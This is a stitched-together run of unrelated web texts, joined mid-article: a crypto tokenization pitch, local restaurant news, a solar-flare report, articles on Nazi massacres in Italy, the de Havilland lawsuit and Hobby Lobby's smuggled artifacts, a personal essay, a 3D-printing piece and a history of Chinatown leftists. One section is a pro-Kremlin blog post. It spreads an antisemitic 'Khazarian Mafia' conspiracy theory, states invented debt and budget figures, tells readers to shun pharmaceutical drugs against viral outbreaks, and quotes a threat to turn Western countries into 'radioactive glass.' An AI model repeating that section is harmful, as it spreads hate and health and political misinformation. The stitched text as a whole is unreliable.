Do you need to keep a verifiable list of transactions?
Do you need transparency and security? IE govt public records, procurement, purchasing, licensing, permits?
Do you want to break a big asset into small tradeable pieces? E. G. Fractional ownership of real estate, airplanes, boats …
Do you need a public registry of hard assets? Property registries, real estate titles etc….
Do you need a way for people to buy / sell / trade credits for your services? Gift cards, purchasing credits redeemable for digital goods, Intermediate currencies etc…
Do you want your customers to be able to truly own something in the digital realm?
Do you want to crowdfund?
Do you want your asset to be liquid — bought sold and traded freely?
Do you want your product or service to be distributed across multiple computers and not centralized in a single server?
I'm tokenizing venture capital: HACKVC.hf.cx
Any use cases I missed?COLONIE -- Hooters, the bar and restaurant chain known for its scantily clad waitresses, is returning to the region.
A former Fuddruckers at 72 Wolf Road, not far from Colonie Center, is being converted into a Hooters. The restaurant has begun hiring and will open in June, said co-owner Marc Phaneuf.
The Atlanta-based chain had a franchise at Crossgates Mall until 2007, when its ownership filed for bankruptcy protection.
That company was eventually liquidated -- and the region's only Hooters closed.
Phaneuf had no role in the Crossgates restaurant. He and his son, Marc Jr., operate five Hooters -- three in Massachusetts and two in Connecticut -- and have acquired Hooters' franchise rights for upstate New York, he said. The pair are not planning a second Capital Region location.
"We have so much territory that there's no reason to put a second one in the same area," Phanuef said. "When you have more than one, you begin to cannibalize the first."
Fuddruckers, a hamburger restaurant, left Wolf Road late last year.
Hooters' new Colonie home, coincidentally, is across the roadway from Knockouts, a salon described as the "Hooters of Haircutting."To the deep consternation of the West, the Russian economy continues to grow amidst Western sanctions. Its scientific community and military sector continue to advance even after the massive plunders against the former Soviet Union.
Its agricultural sector, on the other hand, is poised to become the global superpower in terms of non-GMO food production.
Why?
The simple answer is that Russia is a real federation of states populated and run by people who truly love their motherland that is a far cry to the United States run by Corporatists whose only aim is to maximize profits in everything they do in the realm of banking and finance, civilian infrastructures, military and medicine, etc.
This is the reason why the US continues to spend billions of dollars on faulty F-35s, or on the pyramid warship which could not fire a single shot without the naval organization getting broke due to its super expensive ammunition.
The $6 trillion defense budget remains unaccounted for even today. The US economy is bankrupt with a $222 trillion standing debt.
These are the bases why the Khazarian military industrial complex need to continue its wars of aggression around the globe, and most specifically against Russia,
… by dislodging the newly elected Donald Trump even before his presidential inauguration through the Jill Stein election recount protests, and for which Vladimir Putin needs to prepare for in the next few months.
Russia is reportedly preparing to upgrade its Soviet-era T-80 battle tanks in order to bring them back into service.
Up to 3,000 of the tanks, which entered service in 1976, will be updated to bring their combat power closer to the current T-90 model.
“At present, the preparative works to start the modernisation of the first T-80BV MBTs are at a final stage,” a defence industry source told military magazine Jane’s Defence Weekly.
The “overhaul and modernisation” of the tanks “will be launched next year” the source added. They said the number of tanks to be upgraded will be determined by the military.
http://www.independent.co.uk/news/world/europe/russia-putin-tanks-soviet-era-back-into-service-a7436951.html
Russia SITREP November 24th, by Scott Humor
Earlier this week the German Stern asked a tongue-in-cheek question which I want to try to answer.
Was will Moskau mit so vielen Panzern?
I don’t know German, but this looks to me like they want to know why Moscow needs so many tanks.
Putin lässt 3000 Panzer aus dem Depot modernisieren
Wladimir Putin hat bereits 2500 T-14 Armata Kampfpanzer bestellt, nun lässt er noch einmal 3000 T-80 komplett modernisieren. Fragt sich nur: Was will Moskau mit so vielen Panzern?
Putin ordered to modernize 3000 tanks stored in the tank depots.
Vladimir Putin has already ordered production of 2500 T-14 Armata main battle tank, now he can get 3000 T-80 by completely modernizing them. Question: What does Moscow do with so many tanks?
Russia’s Ministry of Defense had ordered 2500 T-14 Armada tanks, and now president Putin has ordered to modernize the 3000 T-80. Right now there are 550 T-80s tanks in use, about 3000 tanks are being stored. T-80 uses a gas engine, not the diesel engines like newer T-90 and T-14. That’s why T-80 perform better in extremely cold and hot temperatures. The fire power of the modernized T-80 will be very close to the fire power of T-90 tanks.
And each tank Aramata will be equipped with a Pterodactyl drone. The drone is designed to follow the tank everywhere by being connected to the tank by a cable. It’s made from the last generation of composite materials. Time of operation is practically unlimited.
The German magazine asks why Russia needs that many tanks. I think it’s a rhetorical question. Russia can never have too many tanks, just like a woman can never have too many pearl necklaces.
Here is an opinion of one of the Russian commentators:
“… if Germans insist on the detailed answer. Russia needs 6000 more tanks because…
Genocide of Russians in Ukraine organized by Europe and AmericaExplosion of a Russian passenger plane over Sinai NATO tanks on the Russian borders NATO bases around Russia Occupation of the Baltic, Poland and Romania by the US, UK and Germany Economic and financial sanctions against Russia As an answer to the Russopbobic propaganda which is much larger that the Goebbels propaganda before the German and fascist European countries invasion of the Soviet Union on June 22nd, 1941 Because of the multipronged hybrid war against Russia by almost 50 western countries For many more crimes committed by Western nations against the Russian nation, including the illegal dissolution of the USSR, pillaging of Russia and fifteen years of terror on the Caucasus.
That is why if the US and EU members will make one move, first they will be turned into a radioactive glass covered wilderness, and then Russian tanks will go over it reaching London and leveling the Westminster and the Buckingham palace to the ground and then they will do the same to Washington. Not because Russians are bad, mean, or evil, but because enough is enough.”
In essence, the sanctions have shown that Russia doesn’t need Europe at all. Europe with its internal problems, with its zombie monarchies, and endless demands for colonial rule, with its 500 year plan of expansion into Russia’s territory and forcefully converting Russia people into half-slaves. The fate of Ukrainians in Poland now is a bright illustration of the age of new slavery in Europe. The West now tries to stall the development of the Eurasian science and technology markets. Europeans have to settle down and realize that they are just one of the guys, and not a shiny city on a hill surrounded by the sea of Russian, Chinese and Indian savages.
The West is currently unable to continue the centuries long rampage of the rest of the world and that’s why now it has resorted to the sabotages and stalling of every attempt to improve the lives of people in the world outside of the West.
How do they do it?
US, UK and France blocked Russia’s initiative “to extend the UN SC anti-terrorist sanction regime to the groups Ahrar al-Sham and Jaysh al-Islam acting in Syria”
Moscow hopes that no practical moves will follow after the EU Parliament’s resolution to counter propaganda of third countries, otherwise counter measures will be taken.
Here is an excellent analysis of the role of Russia Today (RT) for the world with some very revealing info graphics. In just one week RT TV gets 1,823, 000,000 viewers and the RT TV Tube channel gets 4 billion viewers. It’s more than all the leading European and American news channels combined.
Defense Ministry: US Department of State calls for hindering Russia’s struggle against IS. The US Department of State argues that other countries should refrain from providing support for Russian tankers that deliver fuel to the Russian aerospace group in Syria, Mark Toner said earlier
Russia’s defense Ministry states that the US’ calls for other countries to prevent RUAF fuel tankers from making port calls is the sabotage of Russia’s efforts to defeat terrorism in Syria. By now Russia has accomplish what all the Western coalition members couldn’t: after one year more then 2000 settlements have been returned to peaceful life with all the necessary government services functioning and providing people with necessary support. 80 terror armed band formations have been eradicated. Hundreds of thousands Syrians have returned to their homes and started rebuilding their lives, said spokesman for the MOD General Konashenkov. But the Obama administration is calling the other country to prevent Russian fuel tankers from having free passage is a clear prove that the fight with terrorists has never been on the US agenda.
Despite the Western countries’ efforts to support terrorism in the Middle East and in Africa, the Russian president’s special representative for the Middle East and Africa Mikhail Bogdanov and African Union’s Commissioner for Peace and Security Smail Chergui marked on Thursday a need to boost joint efforts in the fight against terrorism and extremism,
The Western sanctions, as we all know, are boosting Russia’s internal industry and agricultural production. The numbers are not out yet, but if I am not mistaken, president Putin mentioned that growth might be 2.7% for 2016.
2016 is turning out to be a record for the Russian economy in many ways. Just to name a few, exports of made-in-Russia laundry machines reached almost one million units from January to September, which is 2.2 times higher than the previous year and being sold to Poland, Romania, Italy, Kazakhstan, Ukraine and Belorussia.
An amazing project KOSMOS 360 or Space 360 on RT
1957 – First Sputnik satellite goes into space. 1961 – First man lifts off into space. 1971 – First space station is built. There have been many achievements in the decades of space exploration. In 2016 RT, in partnership with Russia’s space agency Roscosmos and S.P Korolev Rocket and Space Corporation “Energia”, brings the cosmic experience to the next level – with the first-ever 360 content from space.
The first ever panoramic view of earth from the international space station
This is an absolutely new for humanity way to explore outer space by the means of a panoramic video. It means that people are able to see what the astronauts are seeing in real time.
Needless to say that the project is being completely ignored by the Western media.
Another unique comparative interactive map project developed by the Russian designer firm called Art Lebedev. This tool is capable to completely change the way you view the world.
Compare, for example, the territory of Ukraine and Russia.
This week Russian science received its most unexpected recognition in Russian politics.
President Putin has offered professor Dmitry Medvedev to fully dedicate himself to the science.
During the televised meeting with the president of the Russian Academy of Sciences, Yevgeny Fortov, president Putin turned to him and questioned the academy’s election of senior government officials as its members.
“Some of our colleagues from the Presidential Administration, from the Ministry of Education, from the Ministry of Internal Affairs, from the Defense Ministry, from the Federal Security Service FSB, and some other departments, took part in the elections to the RAN (Russia’s Academy of Science) and were elected themselves.
“I have a question to you and other representatives of the Academy of Science. Why did you do this? Are they such great scientists that the Academy of Sciences cannot get by without them? And my second question: what should I do now?”
“What was the second question?” asked Fortov.
“What should I do now?” repeated Putin.
A startled Fortov chewed on his tongue, and started mumbling that all those officials had permission from their bosses to run for the academy.
“That’s not what I am asking. Are they such great scientists that they have to be academicians?”
When Fortov began explaining the officials had met the academy’s criteria for election, Putin interrupted him by saying: “You are not answering my question. But, I will do it for you. They are all great scientists…Yes?”
“They deserve to be elected.. [as the members of the Academy of Science]” said Fortov.
“It means that they all are great scientists,” said Putin.
“Well… that’s what it appeared to be,” said Fortov.
“Then I won’t torture you with my second question. I think that I have to give them am opportunity to dedicate themselves to science, because judging by everything their scientific activity is much more important than carrying out some kind of routine administrative task within the executive branch.”
Talking to journalists after the meeting Putin said: “It’s the element of discipline, or lack thereof. I would like to see the discipline among the government officials to be at the highest level.”
“This applies to all without exception,” Putin said, answering a question, whether this thesis will be extended on the governors.
You might ask what the prime Minister Dmitry Medvedev has to do with all this.
Historical and medical facts about D. Medvedev
On October 2012, he has become a professor of the Dagestan Academy of medical science. In his acceptance speech he promised to teach scientist in Dagestan how to handle government subsidized projects.
http://thesaker.is/russia-sitrep-november-24th-by-scott-humor/
The Khazarian age old obsession for the destruction of the Russian nation will continue until the last of the Khazars are defeated.
Aside from the fiat monetary scam and bloodsoaked petrodollar, another significant source of funds for the Nazionist Khazarian Mafia is the “healthcare” industry which registered a whopping $3.09 trillion in 2014, and is projected to soar to $3.57 trillion in 2017, in the US alone. We believe that this is just a conservative figure.
We can all help the revolution by avoiding all Khazarian pharmaceutical drugs, defeat any viral attack and scaremongering, like the Zika virus, easily by knowing how to build our own comprehensive antiviral system. Find more about how we can kill three birds with one stone, right here.The sun has had three major solar flares on its surface in the past two days that have affected communications on Earth and could send a shockwave through Earth this Friday, according to the National Oceanic and Atmospheric Administration.
The "solar events" caused brief blackouts in high frequency communications when they struck, twice on Tuesday morning and once this morning, all between the hours of 7 a.m. and 9 a.m. EDT.
Three X-class flares erupted from the left side of the sun; the first two from left occurred June 10, 2014, and the last occurred June 11, 2014. (Goddard/SDO/NASA)
Solar flares are bursts of radiation on the sun's surface. The disturbance to Earth's atmosphere can disrupt GPS and communications signals, according to NASA.
One of the flares created a "coronal mass ejection" that actually could come into contact with Earth on Friday, according to NOAA. The ejection is essentially a huge cloud of plasma that could hit the Earth and cause a shock wave, affecting communications systems. If an ejection were to hit Earth on Friday, scientists expect it would only cause a minor geo-magnetic storm, according to NOAA.
The flares were observed by NASA, which posted stunning photos and videos of the events on its website.Roberto Oligeri still lives in the small village in Toscana where his family was murdered. The killers marched into the hamlet on Aug. 19, 1944. Held at gunpoint, his father, who ran a small inn, was forced to serve Sturmbahnführer Walter Reder and his underlings a meal. As they dined on roast chicken and regional wine, soldiers from the 16th SS Mechanized Infantry Division combed through the village and surrounding area and rounded up women, children and a handful of old men. When Reder had finished his meal, he gave the order that all of them be killed.
"On that day, 160 people in our village were muredered, including my five siblings -- two brothers and three sisters. The oldest was 19 and the youngest just three," says Oligeri.
Neighboring villages experienced the same fate as SS troops beat, murdered and burned men, women and babies in that August of 1944. Some 560 people died in the mountain village of Sant'Anna di Stazzema on August 12 alone.
The crimes have never been atoned for nor have they been adequately addressed by the judiciary. An Italian court did sentence 10 of the SS thugs involved in the Sant'Anna di Stazzema massacre to life in prison in abstentia, but Germany never extradited them. And just recently, a court in Stuttgart refused to pursue the case, saying that murderous intent could not be proven.
It was a decision that enraged Oligeri as a slew of similar failures by the judiciary have enraged him before. He says that survivors of the massacre were left alone to deal with their pain and nightmares while the perpetrators returned home to a normal, peaceful life. He has pursued the case in multiple courts, but has never found success. He has also written endless letters to politicians and newspapers. "We don't want revenge," he says. "We want justice."
Brutal and Murderous
It might still be awhile before he gets it. On Wednesday, a new report was released on the crimes committed by Germany during its occupation of Italy shortly before the end of World War II. Historians from both countries spent some four years examining original sources to determine exactly what happened in Italy after the country's fascist government -- until then an ally of Nazi Germany -- changed sides in September 1943 and negotiated a truce with the Allies.
The more difficult the situation for German troops in Italy became, the more brutal their murderous behavior. They declared more than 600,000 Italian soldiers as "military internees," denying them the status of prisoners of war, and shipped them to Germany or the Balkans to perform forced labor. Thousands died.
The Germans also descended on the Italian civilian population with homicidal ferocity. One example is the "revenge operation" of March 24, 1944: Some 335 people were dragged to the Ardeatine Caves on the outskirts of Rome and shot before the caves were then blown up. To this day the victims are buried there.
One historian estimates that, on average, the Germans killed165 civilians, prisoners of war and military internees every day between Sept. 8, 1943 and May 8, 1945. That figure doesn't include victims from skirmishes between the German army and Italian soliders and guerillas. "The massacre was on the whole thoroughly organized and followed tight military procedure," according to Carlo Gentile, a professor of Italian history at the University of Cologne. It is even known who the killers are, along with their units, their commanders and other information. And yet there have still, to this day, been but a very few convictions.
For years after the war, political expediency dictated that the issue was largely ignored in Italy. In the postwar conflict between East and West, Germany was to be rearmed so as to play a meaningful role in the new North Atlantic Treaty Organization. Focusing attention on German war crimes would have generated substantial opposition among the Italian population.
Not a Single Verdict
Only much later did significant public pressure force Rome to initiate a handfull of proceedings -- and a few German perpetrators were finally punished. Erich Priebke, for example, one of the SS officers who participated in the Ardeatine Caves massacre, received a life long sentence. At the age of 99, he is still alive today and remains under house arrest in Rome.
In Germany, however, not a single, legally binding verdict related to the war crimes committed in Italy was handed down.
Resentment in Italy has occasionally boiled over. Such was the case four years ago, when Germany successfully avoided paying reparations to the relatives of murdered civilians in a case at the European Court of Justice. States are "immune" to such civil claims, Berlin's lawyers successfully argued.
Italians were outraged, and the German government made an effort to show some understanding. "The unresolved World War past holds some potential to strain German-Italian relations," said Michael Steiner, who was the German Ambassador to Rome at the time. But morality and justice must not be confused, he said. In an attempt to calm the situation, a historical commission was appointed to begin an "intensive, trusting dialogue."
This Wednesday when the report was presented, German Foreign Minister Guido Westerwelle said that he deeply regretted the "terrible war crimes" committed by the Germans in Italy. He also expressed an understanding for
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movie.
Holy anticipation.The 101-year-old actress sued over her portrayal in the series 'Feud: Bette and Joan.'
Olivia de Havilland's portrayal in Ryan Murphy's FX series Feud: Bette and Joan is bringing big picture questions about the rights of docudrama producers to stretch the truth to the attention of the California appeals court.
The 101-year-old actress in June sued FX and Ryan Murphy, claiming the series violates her privacy and publicity rights and Catherine Zeta-Jones' portrayal leaves viewers with the impression that she was a hypocrite who peddled gossip to promote herself. Her complaint centers on a fake interview given by Zeta-Jones as de Havilland that's used to help narrate the series.
Defendants asked the court to strike her claims under California's anti-SLAPP law, which brings an early end to frivolous suits arising from First Amendment protected activity like free speech.
While FX and Murphy cleared the first prong of the test, convincing the court Feud is protected speech, they didn't make it past the second. L.A. County Superior Court judge Holly Kendig in September found that de Havilland has shown a minimal probability of prevailing on the merits of her claims.
Because of de Havilland's advanced age, Kendig had fast-tracked the trial in this case. It was originally set for late November, but California's anti-SLAPP law provides an automatic right for appeal. So the 2nd District will have to weigh Kendig's ruling before a trial could proceed.
In an opening brief filed Dec. 4, FX and Murphy argue that de Havilland's claims are at war with fundamental free speech principles and Kendig should have dismissed them.
Among the issues before California's 2nd Appellate District is whether the creator and network acted with malice when they declined to contact de Havilland during production of the series.
"In allowing them to proceed, the trial court adopted an analytic framework that, if upheld, would eliminate the docudrama genre," writes FX attorney Glenn Pomerantz. "By definition, a docudrama will contain dramatized elements within a historically documented narrative. If that alone constitutes false statements made with actual malice, then the genre would be inherently tortious."
He further argues that absent relevant anti-SLAPP protections, docudrama producers would only be able to make "puff pieces crafted to suit the public relations interests of their celebrity subjects" in order to avoid publicity claims.
In a Friday response filing, which is posted in full below, de Havilland's attorney argues that the court supporting such logic would give docudrama creators immunity from legitimate claims.
"Appellants claim that because they meticulously researched other aspects of 'Feud' (principally the Davis-Crawford history), the First Amendment allows them to combine fact and falsehoods about Respondent with total immunity from suit," writes de Havilland's attorney Suzelle Smith. "The trial court correctly applied California law in rejecting Appellants’ position that docudramas enjoy legal immunity from liability even where there is substantial admissible evidence that Appellants acted with reckless or intentional disregard for the truth or falsity of the challenged statements."
Another key issue presented to the appellate court is whether de Havilland really met the standard of proof required to survive an anti-SLAPP motion.
Pomerantz argues that de Havilland's appearance in an "imagined" interview doesn't necessarily make Feud's portrayal of her false.
"[N]o'reasonable or "average" [viewer],' watching the challenged scene and dialogue in 'their original context,' would have understood such minor dramatizations to paint Plaintiff as a vulgar gossip or hypocrite, rather than as a sympathetic and witty friend," he writes. "Plaintiff failed to establish that a reasonable person could draw 'highly offensive' inferences from the dialogue, let alone inferences so offensive that they would overshadow the otherwise glowing portrayal of the de Havilland character."
Meanwhile, Smith argues that the standard required to survive this hurdle is not the same that would be used at trial and de Havilland clearly met the minimum required for her case to progress.
"In that fake interview, Respondent gossips and makes negative comments about Davis and Crawford’s personal lives," writes Smith. "Evidence that defendant made up a fake interview that never happened is grounds for a defamation claim.... Respondent giving other interviews during her career about other subjects does not make the statements attributed to Respondent’ any less false. Mixing fact and falsehood makes the conduct worse, not better."A cuneiform tablet. Department of Justice Hobby Lobby, a chain of retail arts and crafts stores, has agreed to pay $3 million and forfeit ancient artifacts that were smuggled into the United States, the Department of Justice said Wednesday.
"We should have exercised more oversight and carefully questioned how the acquisitions were handled," a statement from Hobby Lobby president Steve Green said. "We have accepted responsibility and learned a great deal."
Around 2009, Hobby Lobby allegedly began collecting "historically significant manuscripts, antiquities and other cultural materials." Green and a consultant reportedly went to the United Arab Emirates to inspect several cuneiform tablets — clay tablets that were used for writing in Mesopotamia, thousands of years ago — and other antiques that were up for sale.
According to the Justice Department's statement, Hobby Lobby had been warned of the "conflicting information where the Artifacts had been stored," raising the possibility they may have been looted by other parties from archaeological sites. In 2010, Hobby Lobby purchased over 5,500 artifacts for $1.6 million.
Representatives between the parties did not meet or communicate with the dealer — instead, Hobby Lobby reportedly wired funds to seven personal bank accounts "held in the names of other individuals."
A dealer from UAE then shipped the artifacts to three corporate addresses in Oklahoma, where the contents were falsely labeled as "ceramic tiles" or "clay tiles (sample)." The US Customs and Border Protection, who intercepted several shipments, also discovered several shipments had falsely declared its country of origin as Turkey and Israel.
"In executing the stipulation of settlement, Hobby Lobby has accepted responsibility for its past conduct and agreed to take steps to remedy the deficiencies that resulted in its unlawful importation of the Artifacts," the Justice Department said.
"The protection of cultural heritage is a mission that [Homeland Security Investigations] and its partner US Customs and Border Protection take very seriously as we recognize that while some may put a price on these artifacts, the people of Iraq consider them priceless," Special Agent-in-Charge Angel Melendez said.When my wife came out as transgender and I in turn came out with her, people didn’t yell at us on the streets or curse at our family in the stores. There were no huge moments of hate or ugliness. Instead, we were met with something new: not overtly hostile or mean but a strong, steady undercurrent that kept my nerves on edge and my stomach in knots. I was having trouble putting my finger on what I was sensing but I knew something was not right.
Then one morning driving to work with the family in tow, the local radio morning show did a spot on new words being added to dictionaries this year. This kind of filler always peaks my interest as does most useless information. The host was rattling off new popular words like airball, binge-watch, and microaggression.
“Yes,” I yelled at the radio. “This is what we have been talking about: microaggression!”
Finally, I could describe the unwelcome vibe I have been picking up on since we came out.
Mirriam-Webster defines microaggression as “a comment or action that is subtly and often unintentionally hostile or demeaning to a member of a minority or marginalized group.”
During that car ride, a flood of little memory clips overwhelmed my brain like a damn finally broke open.
The little boy who told me in grade school that he had a crush on me until he realized that I was fat.
The dozens of times I had been asked to order lunch in a workplace where I was outnumbered by men 10 to 1 and obviously not a secretary.
The looks my family gets in the grocery store from the men and women giving us the triangular stare and snicker of disapproval.
The acquaintances that used to chat with me on occasion but now refuse to acknowledge my presence when we are in the same room even after I greet them ‘good morning’.
The few times other women have referred to my wife’s gender transition as my ‘husband’s phase’.
The chatty kathy asking everyone but me about their weekend.
The social shunning I have been receiving on a daily basis.
No, this is not 24/7. Most people we encounter in our lives are encouraging, supporting, and overwhelmingly helpful (especially young women majoring in 20th Century Women’s Studies, We have noticed an overwhelming number of crazy helpful people in this demographic).
Faculty at our daughter’s school are incredibly sweet and supportive. Our pharmacist is super helpful and understanding. Hell, the Starbucks Cashiers are always friendly, especially when they see we are not a ‘traditional’ family. (Is it bad that we visit Starbucks so often that they have their own category of people in my brain? Probably….but what is life without coffee?)
Why do these microaggressions get so deep under my skin and why can’t I let them go?
These attacks are so tiny in their nature that they do not give me the opportunity to defend myself. When someone doesn’t invite me to a party, I can’t call them and tell them to get the F*** over it without being perceived as a total nut. When the woman totally ignores my presence, I don’t feel like it is socially warranted for me to ask her “Why don’t you talk to me? What is your problem?”
If someone said something out loud to me that directly offended me or my family, a direct response from me would be okay. It would give me the opportunity to stand up for us but these cowards meticulously hurt me knowing there is not a damn thing I can do about it.
Michelle says that the best thing we can do is continue to be ourselves and show them that their behavior will not change who we are or the life we lead. We will have to fight for our family everyday for the rest of our lives: sometimes with big gestures but mostly with perseverance. She is correct (like she usually is) but I relish the day someone says something nasty to me. I have about 38 quick, stingy responses to choose from. #fierce
Interesting Links:
Advocate’s ’24 Microaggressions Endured by LGBT Folks’ by Neal Broverman
BuzzFeed’s ’19 LGBT Microaggressions You Hear on a Daily Basis’ by Heben Nigatu
AdvertisementsSep 23, 2016 | By Nick
A new 3D printing robotic arm could open up an exciting world of composite production and +LAB has taken inspiration from the silkworm to make the Atropos a reality.
Essentially the new print mechanism doesn’t 3D print the fiber itself, instead it uses an existing fiber soaked in a resin solution that sets instantly with the help of UV light as it leaves the print head. This gives us the opportunity to make precise shapes, structures and combinations of different fibers that we simply couldn’t achieve with traditional 3D printing.
Technically we can use almost any fiber that can work with the resin, so there are potentially a huge number of combinations that we haven’t even considered yet and a simple fiber that we have used for hundreds of years could take on massive significance and wholly new mechanical properties when combined with the resin.
Right now the team is using fibers containing glass and basalt, but they’re working hard on carbon and polyaramide fibers. It is even starting to work with bamboo and epoxy resins to make a number of different combinations for specific tasks. There’s an awful lot of testing ahead, but this has the potential to change 3D printing as we know it.
It also means we don’t need molds, which could be a huge advantage for bespoke creations and constantly evolving designs. Even though 3D printing means we can create specific molds quickly, if we can remove the need for them then that will streamline the production and in some cases R&D processes even further.
The team, made up of researchers from KUKA, Owens Corning and +LAB, will now set to work on practical applications for this new 3D printer. Different isn’t always better, so this is not a solution that will work in every case and it certainly won’t render every other 3D printer redundant. In certain instances, though, this new production method will give a real competitive advantage and the team will now work hard to identify useful markets and work with the specialists to refine the process even further.
Some of nature’s simplest animals have inspired some of the greatest feats of engineering in recent times. One recent example was Airbus adopting a natural cellular structure to strip weight from the bulkhead of its planes, but engineering is full of ideas taken from the lowliest animals on the planet.
Now the humble silkworm and spiders have inspired a six-axis robotic arm that moves fluidly in space and prints a continuous, thermosetting fiber that is instantly cured. With this simple concept, the team has opened up exciting opportunities to create composite materials with specific characteristics in terms of strength, flex and more. Artists have even shown an interest in the 3D printer’s potential.
Atropos is one of the three Moirai in Greek mythology and ironically the name means Unturnable, which is pretty much the polar opposite of a six-axis robotic arm that can sweep fluidly through space to trace almost any shape we can imagine. It’s controlled by a series of algorithms and essentially fibers are soaked in a reservoir of resin on their way to the print head.
A UV source photocures the resin in the fiber instantaneously and that means that the team can lay down anything from a single fiber in a specific shape to a complex mesh or even a tightly wound coil to create the mechanical properties that each application requires. It’s just as capable of creating solid structures, too, as the video demonstrates.
Shear strength can be a real problem with traditional 3D printing and we can find ourselves overengineering the product in terms of thickness or using a more expensive and complex filament to prevent breakage. This new technique means we could 3D print by overlapping the filament and using the finished product’s own structure to provide shear resistance on a number of different planes.
By winding a filament up and down a product’s length we can end up with a thinner, stronger product and that could be useful across the board.
The whole process begins in Rhinoceros’ 3D modeling software and then uses a graphical algorithms editor, Grasshopper, and KUKAIprc to create the data for the print head’s path and motion speed. It’s designed to be simple enough for any competent 3D printer to make the most of the robotic arm and we’re curious to see how this one develops.
It’s clearly a high-end print solution for specific commercial applications. But that’s the beauty of innovation like this, you never really know where it’s going to end up.
Posted in 3D Printing Technology
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In October 1966—50 years ago—Chinese leader Mao Zedong appeared on Tiananmen Square in Beijing to address an audience of 1.5 million Red Guards, the paramilitary youth he had called upon to tear down the Communist Party hierarchy. "Long live the Red Guards!" he shouted, to roars of approval. "Long live the great Cultural Revolution!"
That spring, Mao first called for a "Cultural Revolution," urging the working class to "struggle against and crush those persons in authority who are taking the capitalist road" and "criticize and repudiate...the ideology of the bourgeoisie and all other exploiting classes."
Tens of millions of Red Guards took up his call. By the revolution's end in 1976, millions of people—especially intellectuals and those with ties to the previous, Nationalist government or the West—had been denounced, tortured, or murdered. Many fled to Hong Kong, and from there to the United States and elsewhere. To this day, the period remains one of the most painful traumas in China's collective memory.
Outside China, the full extent of what happened during the Cultural Revolution remained largely unknown until the late 1970s. What came through were mostly propaganda messages about class struggle, economic empowerment and educational access for the poor—messages that resonated with radical leftists in the United States who were fighting for civil rights and protesting the Vietnam War.
"A lot of us radicals at that time didn't know exactly what was going on. But [ideas like] reforming education were quite relevant to us," said Peter Kwong, a historian at Hunter College who during the late '60s was at Columbia University writing his master's thesis about the Red Guards. "The Chinese, through propaganda, were able to have a significant impact on the way young people were thinking."
People of color were particularly inspired by Mao's call to "serve the people," seeing in it a message that was relevant to poor, marginalized communities. The Black Panther Party formed just five months after the Cultural Revolution began, and it soon became commonplace to see black radicals selling copies of Mao's "Little Red Book" on street corners. The Puerto Rican nationalist Young Lords were also inspired by Maoism.
Less attention has been given to the Asian-American leftist groups that formed, including the Red Guard Party and Kalayaan in San Francisco, and East Wind Collective in Los Angeles. Here in New York, in 1969, a dozen or so young Asian-Americans formed I Wor Kuen [IWK], Cantonese for "Righteous and Harmonious Fists." The name came from a group that tried to expel Westerners from China during the Boxer Rebellion of 1900.
Virgo Lee of IWK with a member of the Young Lords. (Corky Lee) "We believed U.S. imperialism was a criminal system that conducted a genocidal war in Vietnam and maintained an oppressive racial caste system at home. We believed it was irredeemable and the'system' had to be overthrown," said former IWK leader Gordon H. Chang, who is now a history professor at Stanford University.
That year, IWK members pooled their money and rented a cheap corner storefront at 24 Market Street in Chinatown, under the Manhattan Bridge, where they resolved to live collectively and "serve the people." Some dropped out of college. Four of the members held jobs, enabling the other eight to be full-time activists. Inspired by the Panthers, they adopted a uniform of berets and sunglasses.
IWK protested poor housing conditions in Chinatown, organized child-care programs and bilingual education and conducted door-to-door testing for tuberculosis, which was endemic in the overcrowded neighborhood. They also organized Chinatowners to join other Lower East Side residents in a fight for a new hospital nearby, then demanded the hospital hire more Chinese speakers.
The group led a successful protest against a Bell Telephone Company plan to tear down a block of housing for a switching station. They also protested the war in Vietnam, and taught young people ways to avoid the draft. Later, IWK would help defend small grocery owners who had been shut down by the Health Department for selling roast ducks and other traditional Chinese food items, eventually leading the agency to change its ordinances.
Former IWK member Karen Low was just 14 when she joined the group. Her mother worked at a garment factory in Chinatown; after school, Low and her siblings helped her do piecework. Poor people in the community, Low recalled, faced "miseducation and ignorance and racism." Moreover, they were often unaware of the many social services they qualified for. "So when IWK came along, it was an opportunity to say, 'Yes, it's about time somebody is speaking for us, somebody's trying to do something for us,'" she said.
Sometimes, the group joined with the Panthers, the Young Lords and other radical groups to protest larger issues, or attend political conventions. The Panthers' Ten Point Program inspired IWK to draw up a Twelve Point Program that called for "an end to racism," better housing and health care, and "community control of our institutions and land." The group even published a bilingual community newspaper called "Getting Together."
"Chinatown is a ghetto to Chinese people like ghettoes are to Black, Spanish and other non-white peoples," IWK wrote in the inaugural issue. "We Asians (Chinese) in Chinatown are living in a colony controlled by foreigners (the rich, outside whites). In fact, Chinatown is not only a ghetto, but a colony of sorts. What we have to do is begin to gain power to run our own community." The article ended with a call to "Yellow Power."
The paper helped publicize the group's work outside of Chinatown, and in 1971 IWK merged with San Francisco's Red Guards to form a national IWK.
Alongside IWK, numerous fellow travelers in Chinatown took up Mao's call. One was Corky Lee, a photographer who in those days had portraits of Mao and Ho Chi Minh on his wall. Inspired by the Young Lords' "liberation" of an X-ray truck to offer free tuberculosis testing in Spanish Harlem, Lee proposed running a free health fair in Chinatown.
He worked with IWK members, social workers and several community groups to organize the fair, which was held in August 1971. For 10 days, a fleet of doctors, nurses and technicians set up shop along Mott Street, and locals could come by to get tested for TB, lead poisoning, diabetes, venereal diseases and other conditions, with assistance from volunteer translators. The event was so popular—2,500 people came—that the organizers decided to rent a garage on Baxter Street and turn it into a full-time clinic staffed by volunteers. They called it the Chinatown Health Clinic.
Chinatown health fair.
Despite their good works, these young leftists were viewed with suspicion by much of the community. In those days, Chinatown was a stronghold of sympathizers for the anti-communist Nationalist Party, or Kuomintang [KMT], which ruled China until the communist takeover in 1949. The KMT, which governed the island nation of Taiwan, also known as the Republic of China, viewed New York as an important base for lobbying the international community and influencing media coverage of China. It poured resources into local institutions like the Chinese Consolidated Benevolent Association, which for decades served as the unofficial government of Chinatown. Only the Nationalist flag flew on Mott Street. The neighborhood celebrated the founding date of the Republic of China, October 10, also known as "Double Ten Day." Public support for communist China was not tolerated.
"I was called a Red Guard," said Lee. "Because we were giving out medical care for free. Some of the more conservative people in Chinatown felt this was the Cultural Revolution coming to Chinatown."
Gordon Chang recalled that political differences sometimes became violent. "We had fistfights; the storefront was damaged. I was stabbed by gang youth who worked with the'reactionaries,'" he said.
Like many radical groups of that era, IWK was also dogged by the police. "The Fifth Precinct was always on top of us, the Seventh Precinct was always on top of us, we were trailed and followed by the FBI," said Low. "I mean things like that happened. In those times it was pretty much a given." The organization also clashed with other leftists, including former members who formed splinter groups.
